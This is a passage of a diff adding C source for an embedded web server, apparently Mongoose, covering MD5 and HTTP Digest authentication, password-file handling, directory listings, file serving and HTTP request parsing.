    if (len < t) {
+
      memcpy(p, buf, len);
+
      return;
+
    }
+
    memcpy(p, buf, t);
+
    byteReverse(ctx->in, 16);
+
    MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+
    buf += t;
+
    len -= t;
+
  }
+

+
  while (len >= 64) {
+
    memcpy(ctx->in, buf, 64);
+
    byteReverse(ctx->in, 16);
+
    MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+
    buf += 64;
+
    len -= 64;
+
  }
+

+
  memcpy(ctx->in, buf, len);
+
}
+

+
static void MD5Final(unsigned char digest[16], MD5_CTX *ctx) {
+
  unsigned count;
+
  unsigned char *p;
+

+
  count = (ctx->bits[0] >> 3) & 0x3F;
+

+
  p = ctx->in + count;
+
  *p++ = 0x80;
+
  count = 64 - 1 - count;
+
  if (count < 8) {
+
    memset(p, 0, count);
+
    byteReverse(ctx->in, 16);
+
    MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+
    memset(ctx->in, 0, 56);
+
  } else {
+
    memset(p, 0, count - 8);
+
  }
+
  byteReverse(ctx->in, 14);
+

+
  ((uint32_t *) ctx->in)[14] = ctx->bits[0];
+
  ((uint32_t *) ctx->in)[15] = ctx->bits[1];
+

+
  MD5Transform(ctx->buf, (uint32_t *) ctx->in);
+
  byteReverse((unsigned char *) ctx->buf, 4);
+
  memcpy(digest, ctx->buf, 16);
+
  memset((char *) ctx, 0, sizeof(*ctx));
+
}
+
#endif // !HAVE_MD5
+

+
// Stringify binary data. Output buffer must be twice as big as input,
+
// because each byte takes 2 bytes in string representation
+
static void bin2str(char *to, const unsigned char *p, size_t len) {
+
  static const char *hex = "0123456789abcdef";
+

+
  for (; len--; p++) {
+
    *to++ = hex[p[0] >> 4];
+
    *to++ = hex[p[0] & 0x0f];
+
  }
+
  *to = '\0';
+
}
+

+
// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
+
void mg_md5(char buf[33], ...) {
+
  unsigned char hash[16];
+
  const char *p;
+
  va_list ap;
+
  MD5_CTX ctx;
+

+
  MD5Init(&ctx);
+

+
  va_start(ap, buf);
+
  while ((p = va_arg(ap, const char *)) != NULL) {
+
    MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
+
  }
+
  va_end(ap);
+

+
  MD5Final(hash, &ctx);
+
  bin2str(buf, hash, sizeof(hash));
+
}
+

+
// Check the user's password, return 1 if OK
+
static int check_password(const char *method, const char *ha1, const char *uri,
+
                          const char *nonce, const char *nc, const char *cnonce,
+
                          const char *qop, const char *response) {
+
  char ha2[32 + 1], expected_response[32 + 1];
+

+
  // Some of the parameters may be NULL
+
  if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
+
      qop == NULL || response == NULL) {
+
    return 0;
+
  }
+

+
  // NOTE(lsm): due to a bug in MSIE, we do not compare the URI
+
  // TODO(lsm): check for authentication timeout
+
  if (// strcmp(dig->uri, c->ouri) != 0 ||
+
      strlen(response) != 32
+
      // || now - strtoul(dig->nonce, NULL, 10) > 3600
+
      ) {
+
    return 0;
+
  }
+

+
  mg_md5(ha2, method, ":", uri, NULL);
+
  mg_md5(expected_response, ha1, ":", nonce, ":", nc,
+
      ":", cnonce, ":", qop, ":", ha2, NULL);
+

+
  return mg_strcasecmp(response, expected_response) == 0;
+
}
+

+
// Use the global passwords file, if specified by auth_gpass option,
+
// or search for .htpasswd in the requested directory.
+
static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
+
  struct mg_context *ctx = conn->ctx;
+
  char name[PATH_MAX];
+
  const char *p, *e;
+
  struct mgstat st;
+
  FILE *fp;
+

+
  if (ctx->config[GLOBAL_PASSWORDS_FILE] != NULL) {
+
    // Use global passwords file
+
    fp =  mg_fopen(ctx->config[GLOBAL_PASSWORDS_FILE], "r");
+
    if (fp == NULL)
+
      cry(fc(ctx), "fopen(%s): %s",
+
          ctx->config[GLOBAL_PASSWORDS_FILE], strerror(ERRNO));
+
  } else if (!mg_stat(path, &st) && st.is_directory) {
+
    (void) mg_snprintf(conn, name, sizeof(name), "%s%c%s",
+
        path, DIRSEP, PASSWORDS_FILE_NAME);
+
    fp = mg_fopen(name, "r");
+
  } else {
+
     // Try to find .htpasswd in requested directory.
+
    for (p = path, e = p + strlen(p) - 1; e > p; e--)
+
      if (IS_DIRSEP_CHAR(*e))
+
        break;
+
    (void) mg_snprintf(conn, name, sizeof(name), "%.*s%c%s",
+
        (int) (e - p), p, DIRSEP, PASSWORDS_FILE_NAME);
+
    fp = mg_fopen(name, "r");
+
  }
+

+
  return fp;
+
}
+

+
// Parsed Authorization header
+
struct ah {
+
  char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
+
};
+

+
// Return 1 on success. Always initializes the ah structure.
+
static int parse_auth_header(struct mg_connection *conn, char *buf,
+
                             size_t buf_size, struct ah *ah) {
+
  char *name, *value, *s;
+
  const char *auth_header;
+

+
  (void) memset(ah, 0, sizeof(*ah));
+
  if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
+
      mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
+
    return 0;
+
  }
+

+
  // Make modifiable copy of the auth header
+
  (void) mg_strlcpy(buf, auth_header + 7, buf_size);
+
  s = buf;
+

+
  // Parse authorization header
+
  for (;;) {
+
    // Gobble initial spaces
+
    while (isspace(* (unsigned char *) s)) {
+
      s++;
+
    }
+
    name = skip_quoted(&s, "=", " ", 0);
+
    // Value is either quote-delimited, or ends at first comma or space.
+
    if (s[0] == '\"') {
+
      s++;
+
      value = skip_quoted(&s, "\"", " ", '\\');
+
      if (s[0] == ',') {
+
        s++;
+
      }
+
    } else {
+
      value = skip_quoted(&s, ", ", " ", 0);  // IE uses commas, FF uses spaces
+
    }
+
    if (*name == '\0') {
+
      break;
+
    }
+

+
    if (!strcmp(name, "username")) {
+
      ah->user = value;
+
    } else if (!strcmp(name, "cnonce")) {
+
      ah->cnonce = value;
+
    } else if (!strcmp(name, "response")) {
+
      ah->response = value;
+
    } else if (!strcmp(name, "uri")) {
+
      ah->uri = value;
+
    } else if (!strcmp(name, "qop")) {
+
      ah->qop = value;
+
    } else if (!strcmp(name, "nc")) {
+
      ah->nc = value;
+
    } else if (!strcmp(name, "nonce")) {
+
      ah->nonce = value;
+
    }
+
  }
+

+
  // CGI needs it as REMOTE_USER
+
  if (ah->user != NULL) {
+
    conn->request_info.remote_user = mg_strdup(ah->user);
+
  } else {
+
    return 0;
+
  }
+

+
  return 1;
+
}
+

+
// Authorize against the opened passwords file. Return 1 if authorized.
+
static int authorize(struct mg_connection *conn, FILE *fp) {
+
  struct ah ah;
+
  char line[256], f_user[256], ha1[256], f_domain[256], buf[MG_BUF_LEN];
+

+
  if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
+
    return 0;
+
  }
+

+
  // Loop over passwords file
+
  while (fgets(line, sizeof(line), fp) != NULL) {
+
    if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
+
      continue;
+
    }
+

+
    if (!strcmp(ah.user, f_user) &&
+
        !strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
+
      return check_password(
+
            conn->request_info.request_method,
+
            ha1, ah.uri, ah.nonce, ah.nc, ah.cnonce, ah.qop,
+
            ah.response);
+
  }
+

+
  return 0;
+
}
+

+
// Return 1 if request is authorised, 0 otherwise.
+
static int check_authorization(struct mg_connection *conn, const char *path) {
+
  FILE *fp;
+
  char fname[PATH_MAX];
+
  struct vec uri_vec, filename_vec;
+
  const char *list;
+
  int authorized;
+

+
  fp = NULL;
+
  authorized = 1;
+

+
  list = conn->ctx->config[PROTECT_URI];
+
  while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
+
    if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
+
      (void) mg_snprintf(conn, fname, sizeof(fname), "%.*s",
+
          filename_vec.len, filename_vec.ptr);
+
      if ((fp = mg_fopen(fname, "r")) == NULL) {
+
        cry(conn, "%s: cannot open %s: %s", __func__, fname, strerror(errno));
+
      }
+
      break;
+
    }
+
  }
+

+
  if (fp == NULL) {
+
    fp = open_auth_file(conn, path);
+
  }
+

+
  if (fp != NULL) {
+
    authorized = authorize(conn, fp);
+
    (void) fclose(fp);
+
  }
+

+
  return authorized;
+
}
+

+
static void send_authorization_request(struct mg_connection *conn) {
+
  conn->request_info.status_code = 401;
+
  (void) mg_printf(conn,
+
      "HTTP/1.1 401 Unauthorized\r\n"
+
      "Content-Length: 0\r\n"
+
      "WWW-Authenticate: Digest qop=\"auth\", "
+
      "realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
+
      conn->ctx->config[AUTHENTICATION_DOMAIN],
+
      (unsigned long) time(NULL));
+
}
+

+
static int is_authorized_for_put(struct mg_connection *conn) {
+
  FILE *fp;
+
  int ret = 0;
+

+
  fp = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE] == NULL ? NULL :
+
    mg_fopen(conn->ctx->config[PUT_DELETE_PASSWORDS_FILE], "r");
+

+
  if (fp != NULL) {
+
    ret = authorize(conn, fp);
+
    (void) fclose(fp);
+
  }
+

+
  return ret;
+
}
+

+
int mg_modify_passwords_file(const char *fname, const char *domain,
+
                             const char *user, const char *pass) {
+
  int found;
+
  char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
+
  FILE *fp, *fp2;
+

+
  found = 0;
+
  fp = fp2 = NULL;
+

+
  // Regard empty password as no password - remove user record.
+
  if (pass != NULL && pass[0] == '\0') {
+
    pass = NULL;
+
  }
+

+
  (void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
+

+
  // Create the file if does not exist
+
  if ((fp = mg_fopen(fname, "a+")) != NULL) {
+
    (void) fclose(fp);
+
  }
+

+
  // Open the given file and temporary file
+
  if ((fp = mg_fopen(fname, "r")) == NULL) {
+
    return 0;
+
  } else if ((fp2 = mg_fopen(tmp, "w+")) == NULL) {
+
    fclose(fp);
+
    return 0;
+
  }
+

+
  // Copy the stuff to temporary file
+
  while (fgets(line, sizeof(line), fp) != NULL) {
+
    if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
+
      continue;
+
    }
+

+
    if (!strcmp(u, user) && !strcmp(d, domain)) {
+
      found++;
+
      if (pass != NULL) {
+
        mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+
        fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+
      }
+
    } else {
+
      (void) fprintf(fp2, "%s", line);
+
    }
+
  }
+

+
  // If new user, just add it
+
  if (!found && pass != NULL) {
+
    mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+
    (void) fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+
  }
+

+
  // Close files
+
  (void) fclose(fp);
+
  (void) fclose(fp2);
+

+
  // Put the temp file in place of real file
+
  (void) mg_remove(fname);
+
  (void) mg_rename(tmp, fname);
+

+
  return 1;
+
}
+

+
struct de {
+
  struct mg_connection *conn;
+
  char *file_name;
+
  struct mgstat st;
+
};
+

+
static void url_encode(const char *src, char *dst, size_t dst_len) {
+
  static const char *dont_escape = "._-$,;~()";
+
  static const char *hex = "0123456789abcdef";
+
  const char *end = dst + dst_len - 1;
+

+
  for (; *src != '\0' && dst < end; src++, dst++) {
+
    if (isalnum(*(const unsigned char *) src) ||
+
        strchr(dont_escape, * (const unsigned char *) src) != NULL) {
+
      *dst = *src;
+
    } else if (dst + 2 < end) {
+
      dst[0] = '%';
+
      dst[1] = hex[(* (const unsigned char *) src) >> 4];
+
      dst[2] = hex[(* (const unsigned char *) src) & 0xf];
+
      dst += 2;
+
    }
+
  }
+

+
  *dst = '\0';
+
}
+

+
static void print_dir_entry(struct de *de) {
+
  char size[64], mod[64], href[PATH_MAX];
+

+
  if (de->st.is_directory) {
+
    (void) mg_snprintf(de->conn, size, sizeof(size), "%s", "[DIRECTORY]");
+
  } else {
+
     // We use (signed) cast below because MSVC 6 compiler cannot
+
     // convert unsigned __int64 to double. Sigh.
+
    if (de->st.size < 1024) {
+
      (void) mg_snprintf(de->conn, size, sizeof(size),
+
          "%lu", (unsigned long) de->st.size);
+
    } else if (de->st.size < 1024 * 1024) {
+
      (void) mg_snprintf(de->conn, size, sizeof(size),
+
          "%.1fk", (double) de->st.size / 1024.0);
+
    } else if (de->st.size < 1024 * 1024 * 1024) {
+
      (void) mg_snprintf(de->conn, size, sizeof(size),
+
          "%.1fM", (double) de->st.size / 1048576);
+
    } else {
+
      (void) mg_snprintf(de->conn, size, sizeof(size),
+
          "%.1fG", (double) de->st.size / 1073741824);
+
    }
+
  }
+
  (void) strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M", localtime(&de->st.mtime));
+
  url_encode(de->file_name, href, sizeof(href));
+
  de->conn->num_bytes_sent += mg_printf(de->conn,
+
      "<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
+
      "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
+
      de->conn->request_info.uri, href, de->st.is_directory ? "/" : "",
+
      de->file_name, de->st.is_directory ? "/" : "", mod, size);
+
}
+

+
// This function is called from send_directory() and used for
+
// sorting directory entries by size, or name, or modification time.
+
// On windows, __cdecl specification is needed in case if project is built
+
// with __stdcall convention. qsort always requires __cdels callback.
+
static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
+
  const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
+
  const char *query_string = a->conn->request_info.query_string;
+
  int cmp_result = 0;
+

+
  if (query_string == NULL) {
+
    query_string = "na";
+
  }
+

+
  if (a->st.is_directory && !b->st.is_directory) {
+
    return -1;  // Always put directories on top
+
  } else if (!a->st.is_directory && b->st.is_directory) {
+
    return 1;   // Always put directories on top
+
  } else if (*query_string == 'n') {
+
    cmp_result = strcmp(a->file_name, b->file_name);
+
  } else if (*query_string == 's') {
+
    cmp_result = a->st.size == b->st.size ? 0 :
+
      a->st.size > b->st.size ? 1 : -1;
+
  } else if (*query_string == 'd') {
+
    cmp_result = a->st.mtime == b->st.mtime ? 0 :
+
      a->st.mtime > b->st.mtime ? 1 : -1;
+
  }
+

+
  return query_string[1] == 'd' ? -cmp_result : cmp_result;
+
}
+

+
static int must_hide_file(struct mg_connection *conn, const char *path) {
+
  const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
+
  const char *pattern = conn->ctx->config[HIDE_FILES];
+
  return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
+
    (pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
+
}
+

+
static int scan_directory(struct mg_connection *conn, const char *dir,
+
                          void *data, void (*cb)(struct de *, void *)) {
+
  char path[PATH_MAX];
+
  struct dirent *dp;
+
  DIR *dirp;
+
  struct de de;
+

+
  if ((dirp = opendir(dir)) == NULL) {
+
    return 0;
+
  } else {
+
    de.conn = conn;
+

+
    while ((dp = readdir(dirp)) != NULL) {
+
      // Do not show current dir and hidden files
+
      if (!strcmp(dp->d_name, ".") ||
+
          !strcmp(dp->d_name, "..") ||
+
          must_hide_file(conn, dp->d_name)) {
+
        continue;
+
      }
+

+
      mg_snprintf(conn, path, sizeof(path), "%s%c%s", dir, DIRSEP, dp->d_name);
+

+
      // If we don't memset stat structure to zero, mtime will have
+
      // garbage and strftime() will segfault later on in
+
      // print_dir_entry(). memset is required only if mg_stat()
+
      // fails. For more details, see
+
      // http://code.google.com/p/mongoose/issues/detail?id=79
+
      if (mg_stat(path, &de.st) != 0) {
+
        memset(&de.st, 0, sizeof(de.st));
+
      }
+
      de.file_name = dp->d_name;
+

+
      cb(&de, data);
+
    }
+
    (void) closedir(dirp);
+
  }
+
  return 1;
+
}
+

+
struct dir_scan_data {
+
  struct de *entries;
+
  int num_entries;
+
  int arr_size;
+
};
+

+
static void dir_scan_callback(struct de *de, void *data) {
+
  struct dir_scan_data *dsd = (struct dir_scan_data *) data;
+

+
  if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
+
    dsd->arr_size *= 2;
+
    dsd->entries = (struct de *) realloc(dsd->entries, dsd->arr_size *
+
                                         sizeof(dsd->entries[0]));
+
  }
+
  if (dsd->entries == NULL) {
+
    // TODO(lsm): propagate an error to the caller
+
    dsd->num_entries = 0;
+
  } else {
+
    dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
+
    dsd->entries[dsd->num_entries].st = de->st;
+
    dsd->entries[dsd->num_entries].conn = de->conn;
+
    dsd->num_entries++;
+
  }
+
}
+

+
static void handle_directory_request(struct mg_connection *conn,
+
                                     const char *dir) {
+
  int i, sort_direction;
+
  struct dir_scan_data data = { NULL, 0, 128 };
+

+
  if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
+
    send_http_error(conn, 500, "Cannot open directory",
+
                    "Error: opendir(%s): %s", dir, strerror(ERRNO));
+
    return;
+
  }
+

+
  sort_direction = conn->request_info.query_string != NULL &&
+
    conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
+

+
  conn->must_close = 1;
+
  mg_printf(conn, "%s",
+
            "HTTP/1.1 200 OK\r\n"
+
            "Connection: close\r\n"
+
            "Content-Type: text/html; charset=utf-8\r\n\r\n");
+

+
  conn->num_bytes_sent += mg_printf(conn,
+
      "<html><head><title>Index of %s</title>"
+
      "<style>th {text-align: left;}</style></head>"
+
      "<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
+
      "<tr><th><a href=\"?n%c\">Name</a></th>"
+
      "<th><a href=\"?d%c\">Modified</a></th>"
+
      "<th><a href=\"?s%c\">Size</a></th></tr>"
+
      "<tr><td colspan=\"3\"><hr></td></tr>",
+
      conn->request_info.uri, conn->request_info.uri,
+
      sort_direction, sort_direction, sort_direction);
+

+
  // Print first entry - link to a parent directory
+
  conn->num_bytes_sent += mg_printf(conn,
+
      "<tr><td><a href=\"%s%s\">%s</a></td>"
+
      "<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
+
      conn->request_info.uri, "..", "Parent directory", "-", "-");
+

+
  // Sort and print directory entries
+
  qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
+
        compare_dir_entries);
+
  for (i = 0; i < data.num_entries; i++) {
+
    print_dir_entry(&data.entries[i]);
+
    free(data.entries[i].file_name);
+
  }
+
  free(data.entries);
+

+
  conn->num_bytes_sent += mg_printf(conn, "%s", "</table></body></html>");
+
  conn->request_info.status_code = 200;
+
}
+

+
// Send len bytes from the opened file to the client.
+
static void send_file_data(struct mg_connection *conn, FILE *fp, int64_t len) {
+
  char buf[MG_BUF_LEN];
+
  int to_read, num_read, num_written;
+

+
  while (len > 0) {
+
    // Calculate how much to read from the file in the buffer
+
    to_read = sizeof(buf);
+
    if ((int64_t) to_read > len) {
+
      to_read = (int) len;
+
    }
+

+
    // Read from file, exit the loop on error
+
    if ((num_read = fread(buf, 1, (size_t)to_read, fp)) <= 0) {
+
      break;
+
    }
+

+
    // Send read bytes to the client, exit the loop on error
+
    if ((num_written = mg_write(conn, buf, (size_t)num_read)) != num_read) {
+
      break;
+
    }
+

+
    // Both read and were successful, adjust counters
+
    conn->num_bytes_sent += num_written;
+
    len -= num_written;
+
  }
+
}
+

+
static int parse_range_header(const char *header, int64_t *a, int64_t *b) {
+
  return sscanf(header, "bytes=%" INT64_FMT "-%" INT64_FMT, a, b);
+
}
+

+
static void gmt_time_string(char *buf, size_t buf_len, time_t *t) {
+
  strftime(buf, buf_len, "%a, %d %b %Y %H:%M:%S GMT", gmtime(t));
+
}
+

+
static void construct_etag(char *buf, size_t buf_len,
+
                           const struct mgstat *stp) {
+
  snprintf(buf, buf_len, "\"%lx.%" INT64_FMT "\"",
+
           (unsigned long) stp->mtime, stp->size);
+
}
+

+
static void handle_file_request(struct mg_connection *conn, const char *path,
+
                                struct mgstat *stp) {
+
  char date[64], lm[64], etag[64], range[64];
+
  const char *msg = "OK", *hdr;
+
  time_t curtime = time(NULL);
+
  int64_t cl, r1, r2;
+
  struct vec mime_vec;
+
  FILE *fp;
+
  int n;
+

+
  get_mime_type(conn->ctx, path, &mime_vec);
+
  cl = stp->size;
+
  conn->request_info.status_code = 200;
+
  range[0] = '\0';
+

+
  if ((fp = mg_fopen(path, "rb")) == NULL) {
+
    send_http_error(conn, 500, http_500_error,
+
        "fopen(%s): %s", path, strerror(ERRNO));
+
    return;
+
  }
+
  set_close_on_exec(fileno(fp));
+

+
  // If Range: header specified, act accordingly
+
  r1 = r2 = 0;
+
  hdr = mg_get_header(conn, "Range");
+
  if (hdr != NULL && (n = parse_range_header(hdr, &r1, &r2)) > 0) {
+
    conn->request_info.status_code = 206;
+
    (void) fseeko(fp, r1, SEEK_SET);
+
    cl = n == 2 ? r2 - r1 + 1: cl - r1;
+
    (void) mg_snprintf(conn, range, sizeof(range),
+
        "Content-Range: bytes "
+
        "%" INT64_FMT "-%"
+
        INT64_FMT "/%" INT64_FMT "\r\n",
+
        r1, r1 + cl - 1, stp->size);
+
    msg = "Partial Content";
+
  }
+

+
  // Prepare Etag, Date, Last-Modified headers. Must be in UTC, according to
+
  // http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.3
+
  gmt_time_string(date, sizeof(date), &curtime);
+
  gmt_time_string(lm, sizeof(lm), &stp->mtime);
+
  construct_etag(etag, sizeof(etag), stp);
+

+
  (void) mg_printf(conn,
+
      "HTTP/1.1 %d %s\r\n"
+
      "Date: %s\r\n"
+
      "Last-Modified: %s\r\n"
+
      "Etag: %s\r\n"
+
      "Content-Type: %.*s\r\n"
+
      "Content-Length: %" INT64_FMT "\r\n"
+
      "Connection: %s\r\n"
+
      "Accept-Ranges: bytes\r\n"
+
      "%s\r\n",
+
      conn->request_info.status_code, msg, date, lm, etag, (int) mime_vec.len,
+
      mime_vec.ptr, cl, suggest_connection_header(conn), range);
+

+
  if (strcmp(conn->request_info.request_method, "HEAD") != 0) {
+
    send_file_data(conn, fp, cl);
+
  }
+
  (void) fclose(fp);
+
}
+

+
void mg_send_file(struct mg_connection *conn, const char *path) {
+
  struct mgstat st;
+
  if (mg_stat(path, &st) == 0) {
+
    handle_file_request(conn, path, &st);
+
  } else {
+
    send_http_error(conn, 404, "Not Found", "%s", "File not found");
+
  }
+
}
+

+

+
// Parse HTTP headers from the given buffer, advance buffer to the point
+
// where parsing stopped.
+
static void parse_http_headers(char **buf, struct mg_request_info *ri) {
+
  int i;
+

+
  for (i = 0; i < (int) ARRAY_SIZE(ri->http_headers); i++) {
+
    ri->http_headers[i].name = skip_quoted(buf, ":", " ", 0);
+
    ri->http_headers[i].value = skip(buf, "\r\n");
+
    if (ri->http_headers[i].name[0] == '\0')
+
      break;
+
    ri->num_headers = i + 1;
+
  }
+
}
+

+
static int is_valid_http_method(const char *method) {
+
  return !strcmp(method, "GET") || !strcmp(method, "POST") ||
+
    !strcmp(method, "HEAD") || !strcmp(method, "CONNECT") ||
+
    !strcmp(method, "PUT") || !strcmp(method, "DELETE") ||
+
    !strcmp(method, "OPTIONS") || !strcmp(method, "PROPFIND");
+
}
+

+
// Parse HTTP request, fill in mg_request_info structure.
+
// This function modifies the buffer by NUL-terminating
+
// HTTP request components, header names and header values.
+
static int parse_http_message(char *buf, int len, struct mg_request_info *ri) {
+
  int request_length = get_request_len(buf, len);
+
  if (request_length > 0) {
+
    // Reset attributes. DO NOT TOUCH is_ssl, remote_ip, remote_port
+
    ri->remote_user = ri->request_method = ri->uri = ri->http_version = NULL;
+
    ri->num_headers = 0;
+
    ri->status_code = -1;
+

+
    buf[request_length - 1] = '\0';
+

+
    // RFC says that all initial whitespaces should be ingored
+
    while (*buf != '\0' && isspace(* (unsigned char *) buf)) {
+
      buf++;
+
    }
+
    ri->request_method = skip(&buf, " ");
+
    ri->uri = skip(&buf, " ");
+
    ri->http_version = skip(&buf, "\r\n");
+
    parse_http_headers(&buf, ri);
+
  }
+
  return request_length;
+
}
+

+
static int parse_http_request(char *buf, int len, struct mg_request_info *ri) {
+
  int result = parse_http_message(buf, len, ri);
+
  if (result > 0 &&
+
      is_valid_http_method(ri->request_method) &&
+
      !strncmp(ri->http_version, "HTTP/", 5)) {
+
    ri->http_version += 5;   // Skip "HTTP/"
+
  } else {
+
    result = -1;
+
  }
+
  return result;
+
}
+

+
static int parse_http_response(char *buf, int len, struct mg_request_info *ri) {
+
  int result = parse_http_message(buf, len, ri);
+
  return result > 0 && !strncmp(ri->request_method, "HTTP/", 5) ? result : -1;
+
}
+

+
// Keep reading the input (either opened file descriptor fd, or socket sock,
+
// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
+
// buffer (which marks the end of HTTP request). Buffer buf may already
+
// have some data. The length of the data is stored in nread.
+
// Upon every read operation, increase nread by the number of bytes read.
+
static int read_request(FILE *fp, struct mg_connection *conn,
+
                        char *buf, int bufsiz, int *nread) {
+
  int request_len, n = 1;
+

+
  request_len = get_request_len(buf, *nread);
+
  while (*nread < bufsiz && request_len == 0 && n > 0) {
+
    n = pull(fp, conn, buf + *nread, bufsiz - *nread);
+
    if (n > 0) {
+
      *nread += n;
+
      request_len = get_request_len(buf, *nread);
+
    }
+
  }
+

+
  if (n < 0) {
+
    // recv() error -> propagate error; do not process a b0rked-with-very-high-probability request
+
    return -1;
+
  }
+
  return request_len;
+
}
+

+
// For given directory path, substitute it to valid index file.
+
// Return 0 if index file has been found, -1 if not found.
+
// If the file is found, it's stats is returned in stp.
+
static int substitute_index_file(struct mg_connection *conn, char *path,
+
                                 size_t path_len, struct mgstat *stp) {
+
  const char *list = conn->ctx->config[INDEX_FILES];
+
  struct mgstat st;
+
  struct vec filename_vec;
+
  size_t n = strlen(path);
+
  int found = 0;
+

+
  // The 'path' given to us points to the directory. Remove all trailing
+
  // directory separator characters from the end of the path, and
+
  // then append single directory separator character.
+
  while (n > 0 && IS_DIRSEP_CHAR(path[n - 1])) {
+
    n--;
+
  }
+
  path[n] = DIRSEP;
+

+
  // Traverse index files list. For each entry, append it to the given
+
  // path and see if the file exists. If it exists, break the loop
+
  while ((list = next_option(list, &filename_vec, NULL)) != NULL) {
+

+
    // Ignore too long entries that may overflow path buffer
+
    if (filename_vec.len > path_len - (n + 2))
+
      continue;
+

+
    // Prepare full path to the index file
+
    (void) mg_strlcpy(path + n + 1, filename_vec.ptr, filename_vec.len + 1);
+

+
    // Does it exist?
+
    if (mg_stat(path, &st) == 0) {
+
      // Yes it does, break the loop
+
      *stp = st;
+
      found = 1;
+
      break;
+
    }
+
  }
+

+
  // If no index file exists, restore directory path
+
  if (!found) {
+
    path[n] = '\0';
+
  }
+

+
  return found;
+
}
+

+
// Return True if we should reply 304 Not Modified.
+
static int is_not_modified(const struct mg_connection *conn,
+
                           const struct mgstat *stp) {
+
  char etag[64];
+
  const char *ims = mg_get_header(conn, "If-Modified-Since");
+
  const char *inm = mg_get_header(conn, "If-None-Match");
+
  construct_etag(etag, sizeof(etag), stp);
+
  return (inm != NULL && !mg_strcasecmp(etag, inm)) ||
+
    (ims != NULL && stp->mtime <= parse_date_string(ims));
+
}
+

+
static int forward_body_data(struct mg_connection *conn, FILE *fp,
+
                             SOCKET sock, SSL *ssl) {
+
  const char *expect;
+
  char buf[MG_BUF_LEN];
+
  int to_read, nread, buffered_len, success = 0;
+

+
  expect = mg_get_header(conn, "Expect");
+
  assert(fp != NULL);
+

+
  if (conn->content_len == -1) {
+
    send_http_error(conn, 411, "Length Required", "%s", "");
+
  } else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
+
    send_http_error(conn, 417, "Expectation Failed", "%s", "");
+
  } else {
+
    if (expect != NULL) {
+
      (void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
+
    }
+

+
    buffered_len = conn->next_request - conn->body;
+
    assert(buffered_len >= 0);
+
    assert(conn->consumed_content == 0);
+

+
    if (buffered_len > 0) {
+
      if ((int64_t) buffered_len > conn->content_len) {
+
        buffered_len = (int) conn->content_len;
+
      }
+
      push(fp, sock, ssl, conn->body, (int64_t) buffered_len);
+
      conn->consumed_content += buffered_len;
+
      conn->body += buffered_len;
+
    }
+

+
    nread = 0;
+
    while (conn->consumed_content < conn->content_len) {
+
      to_read = sizeof(buf);
+
      if ((int64_t) to_read > conn->content_len - conn->consumed_content) {
+
        to_read = (int) (conn->content_len - conn->consumed_content);
+
      }
+
      nread = pull(NULL, conn, buf, to_read);
+
      if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
+
        break;
+
      }
+
      conn->consumed_content += nread;
+
    }
+

+
    if (conn->consumed_content == conn->content_len) {
+
      success = nread >= 0;
+
    }
+

+
    // Each error code path in this function must send an error
+
    if (!success) {
+
      send_http_error(conn, 577, http_500_error, "%s", "");
+
    }
+
  }
+

+
  return success;
+
}
+

+
#if !defined(NO_CGI)
+
// This structure helps to create an environment for the spawned CGI program.
+
// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
+
// last element must be NULL.
+
// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
+
// strings must reside in a contiguous buffer. The end of the buffer is
+
// marked by two '\0' characters.
+
// We satisfy both worlds: we create an envp array (which is vars), all
+
// entries are actually pointers inside buf.
+
struct cgi_env_block {
+
  struct mg_connection *conn;
+
  char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
+
  int len; // Space taken
+
  char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
+
  int nvars; // Number of variables
+
};
+

+
static char *addenv(struct cgi_env_block *block,
+
                    PRINTF_FORMAT_STRING(const char *fmt), ...)
+
  PRINTF_ARGS(2, 3);
+

+
// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
+
// pointer into the vars array.
+
static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
+
  int n, space;
+
  char *added;
+
  va_list ap;
+

+
  // Calculate how much space is left in the buffer
+
